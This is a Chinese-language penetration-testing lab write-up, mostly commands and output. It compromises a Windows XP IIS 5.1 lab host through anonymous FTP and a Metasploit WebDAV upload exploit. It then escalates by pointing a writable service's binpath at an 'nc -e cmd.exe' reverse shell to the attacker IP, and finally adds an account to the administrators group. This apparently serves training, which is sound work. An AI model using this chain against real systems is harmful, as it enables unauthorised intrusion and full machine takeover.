渗透测试学习笔记之案例三
0x00 前言
看到了不少小伙伴似乎对渗透测试学习笔记系列文章有点兴趣，今天，笔者刚好抽空继续来写写吧！
0x01 案例分析
实验环境：
- 目标靶机：10.11.1.0/24
- 攻击机：Kali Linux (10.11.0.90)
渗透过程：
我们今天选取的目标靶机的IP为10.11.1.13。废话不多说，依旧nmap做端口探测。
# nmap -sS -sV -p 1-1024 -Pn 10.11.1.13
Starting Nmap 7.50 ( https://nmap.org ) at 2017-08-10 23:19 CST
Nmap scan report for 10.11.1.13
Host is up (0.33s latency).
Not shown: 1022 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
80/tcp open http Microsoft IIS httpd 5.1
MAC Address: 00:50:56:89:42:08 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows分析扫描结果，目标靶机存在ftp服务和IIS5.1服务。
首先检查ftp是否存在匿名登录.
# ftp 10.11.1.13
Connected to 10.11.1.13.
220 Microsoft FTP Service
Name (10.11.1.13:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
01-17-07 07:42PM AdminScripts
01-17-07 07:43PM ftproot
01-17-07 07:43PM iissamples
01-17-07 07:43PM Scripts
08-22-17 09:27PM wwwroot
226 Transfer complete.
ftp> 果然，存在ftp匿名登录问题且存在IIS的wwwroot目录。这样一个思路很自然就出现了，上传webshell至wwwroot目录即可，这里就不详细说明了。另外还有一个思路，从上面的扫描结果我们知道目标机器上运行了IIS5.1，搜索exploit-db我们发现了一个IIS WebDAV Write Access Code Execution漏洞且存在现成的Metasploit的利用模块，既然如此我们便来用MSF利用一下。
msf > use exploit/windows/iis/iis_webdav_upload_asp
msf exploit(iis_webdav_upload_asp) > set RHOST 10.11.1.13
RHOST => 10.11.1.13
msf exploit(iis_webdav_upload_asp) > set PATH /hahaha.asp
PATH => /hahaha.asp
msf exploit(iis_webdav_upload_asp) > run
[*] Started reverse TCP handler on 10.11.0.90:4444
[*] Checking /hahaha.asp
[*] Uploading 609362 bytes to /hahaha.txt...
[*] Moving /hahaha.txt to /hahaha.asp...
[*] Executing /hahaha.asp...
[-] Execution failed on /hahaha.asp [No Response]
[*] Exploit completed, but no session was created.
msf exploit(iis_webdav_upload_asp) > exploit
[*] Started reverse TCP handler on 10.11.0.90:4444
[*] Checking /hahaha.asp
[*] Sending stage (957487 bytes) to 10.11.1.13
[*] Meterpreter session 3 opened (10.11.0.90:4444 -> 10.11.1.13:3287) at 2017-08-12 05:57:47 +0800
[-] Connection timed out while trying to checking /hahaha.asp
meterpreter >meterpreter > getuid
Server username: BOB\IWAM_BOB
meterpreter > sysinfo
Computer : BOB
OS : Windows XP (Build 2600, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.meterpreter > getuid
Server username: BOB\IWAM_BOB
meterpreter > sysinfo
Computer : BOB
OS : Windows XP (Build 2600, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.但是，这次似乎我们没有那么幸运了，我们的meterpreter并不是SYSTEM权限，但是我们获得了以下信息：
- 目标机器是：Windows XP SP1
- 当前的登录账户是：IWAM_BOB
接下来，当然要思考的问题就是提权了。一般，提权有以下几种方式：
- 利用系统自带的服务或者系统本身的提权漏洞的exp，如：MS16-016（CVE-2016-0051）
- 利用安全的第三方的软件的漏洞来进行提权，如： MYSQL（CVE-2016-6662/6663）
- 还有一种极容易被大家忽略，即利用不正确文件和服务的权限设置
本案例中，主要演示一下第三种的提权方法。在开始提权之前，我们需要用到2个小工具：
- icacls（适用于win7及以上系统）/cacls (适用于winxp及win2000系统) – 系统默认工具，用于检查某个具体的文件夹或者文件的权限配置信息
- accesschk (sysinternals工具集之一) – 用于检查一个具体的用户或者组对于文件，目录，注册表，全局对象以及windows服务的权限信息
有了这2个有用的工具，我们便可以来进行提权尝试了。
首先，进入shell，查看系统目录，发现IIS的web目录的路径是：C:\Inetpub\wwwroot\
meterpreter > shell
Process 2544 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd c:\inetpub
cd c:\inetpub
C:\Inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is 50C3-3741
Directory of C:\Inetpub
08/22/2017 06:30 PM .
08/22/2017 06:30 PM ..
01/17/2007 07:42 PM AdminScripts
01/17/2007 07:43 PM ftproot
01/17/2007 07:43 PM iissamples
08/22/2017 01:50 AM Scripts
08/22/2017 06:27 PM wwwroot
11 File(s) 3,183,328 bytes
7 Dir(s) 1,645,780,992 bytes free meterpreter > upload accesschk_xp.exe c:\\inetpub\\accesschk_xp.exe
[*] uploading : accesschk_xp.exe -> c:\inetpub\accesschk_xp.exe
[*] uploaded : accesschk_xp.exe -> c:\inetpub\accesschk_xp.exe
meterpreter > upload nc.exe c:\\inetpub\\nc.exe
[*] uploading : nc.exe -> c:\inetpub\nc.exe
[*] uploaded : nc.exe -> c:\inetpub\nc.exeC:\Inetpub>accesschk_xp.exe /accepteula -uwcqv IWAM_BOB * > ack.txt
accesschk_xp.exe /accepteula -uwcqv IWAM_BOB * > ack.txt
C:\Inetpub>dir
dir
Volume in drive C has no label.
Volume Serial Number is 50C3-3741
Directory of C:\Inetpub
08/22/2017 07:16 PM .
08/22/2017 07:16 PM ..
08/22/2017 07:15 PM 380,608 accesschk_xp.exe
08/22/2017 07:16 PM 67 ack.txt
01/17/2007 07:42 PM AdminScripts
01/17/2007 07:43 PM ftproot
01/17/2007 07:43 PM iissamples
08/22/2017 07:15 PM 59,392 nc.exe
01/17/2007 07:43 PM Scripts
08/22/2017 07:13 PM wwwroot
3 File(s) 440,067 bytes
7 Dir(s) 1,670,123,520 bytes free
C:\Inetpub>type ack.txt
type ack.txt
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS C:\Inetpub>accesschk_xp.exe /accepteula -ucqv SSDPSRV
accesschk_xp.exe /accepteula -ucqv SSDPSRV
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESSC:\Inetpub>sc qc SSDPSRV
sc qc SSDPSRV
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: SSDPSRV
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SSDP Discovery Service
DEPENDENCIES :
SERVICE_START_NAME : NT AUTHORITY\LocalService
C:\Inetpub>sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"
sc config SSDPSRV binpath= "c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe"
[SC] ChangeServiceConfig SUCCESS
C:\Inetpub>sc config SSDPSRV obj= ".\LocalSystem" password= ""
sc config SSDPSRV obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS
C:\Inetpub>sc config SSDPSRV start= "demand"
sc config SSDPSRV start= "demand"
[SC] ChangeServiceConfig SUCCESS
C:\Inetpub>sc qc SSDPSRV
sc qc SSDPSRV
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: SSDPSRV
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\inetpub\nc.exe -nv 10.11.0.90 9090 -e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SSDP Discovery Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem至此，我们已经把SSDPSRV服务配置成了使用SYSTEM权限来执行nc反弹shell的服务了。
直接在攻击机（10.11.0.90）上重新开启一个监听窗口，如下：
root@kali:~# nc -lvvp 9090
listening on [any] 9090 ...C:\Inetpub>net start SSDPSRV
net start SSDPSRV
The service is not responding to the control function.root@kali:~# nc -lvvp 9090
listening on [any] 9090 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [10.11.0.90] from bogon [10.11.1.13] 3015
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
C:\WINDOWS\system32>net localgroup administrators IWAM_BOB /add
net localgroup administrators IWAM_BOB /add
The command completed successfully.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 10.11.1.13
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.1.220
C:\WINDOWS\system32>cd c:\
cd c:\
C:\>dir /b /s proof.txt
dir /b /s proof.txt
C:\Documents and Settings\Administrator\Desktop\proof.txt0x02 小结
总结一下本案例的渗透过程：
- nmap进行端口探测
- 分析漏洞服务并利用
- 获取meterpreter shell并检查不安全的windows服务
- 配置windows服务以SYSTEM权限来执行反弹shell
- 开启windows服务获取SYSTEM权限的shell